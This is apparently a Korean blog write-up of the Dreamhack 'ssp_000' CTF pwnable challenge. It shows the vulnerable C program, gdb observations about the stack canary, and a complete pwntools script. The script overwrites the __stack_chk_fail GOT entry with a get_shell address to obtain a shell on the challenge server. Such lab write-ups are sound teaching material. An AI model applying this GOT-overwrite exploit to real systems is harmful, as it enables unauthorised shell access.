#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
문제 코드이다.
카나리가 있는데 카나리 값을 릭할 방법이 도저히 없어 보인다.
우선 gdb로 main을 disasm 해봤다.
buf는 rbp-0x50에 저장이 된다.
buf 다음에 카나리가 있을 것으로 예상이 되기 때문에 메모리를 봤다.
이 문제를 풀면서 새로 알게 된 명령어인데 x/40gx 메모리주소 이런 식으로 하면 해당 주소부터 40바이트의 메모리를 볼 수 있다.
이렇게 보면 카나리가 있다.
카나리 값이 변조되면 call 0x4006d0 <__stack_chk_fail@plt> 이렇게 __stack_chk_fail 함수가 실행된다.
0x4006d0 주소에 저 함수 대신에 get_shell 함수의 주소를 넣어주고 카나리를 변조하면 get_shell 함수가 실행된다.
from pwn import *
p = remote('host3.dreamhack.games', 10523)
e = ELF('./ssp_000')
get_shell = 0x4008ea
stack_chk_fail_got = e.got['__stack_chk_fail']
payload = b'A' * 0x80
p.sendline(payload)
p.sendlineafter("Addr : ", str(stack_chk_fail_got))
p.sendlineafter("Value : ", str(get_shell))
p.interactive()
이렇게 페이로드를 짤 수 있다.
cat flag로 플래그를 읽어왔다.
'포너블' 카테고리의 다른 글
드림핵 ssp_001 롸업 (0) | 2024.03.12 |
---|---|
Stack Canary & Return to Shellcode 롸업 (0) | 2024.03.06 |
드림핵 basic_exploitation_001 롸업 (1) | 2024.03.06 |
드림핵 basic_exploitation_000 롸업 (0) | 2024.03.04 |
Stack Buffer Overflow & Return Address Overwrite 롸업 (0) | 2024.02.03 |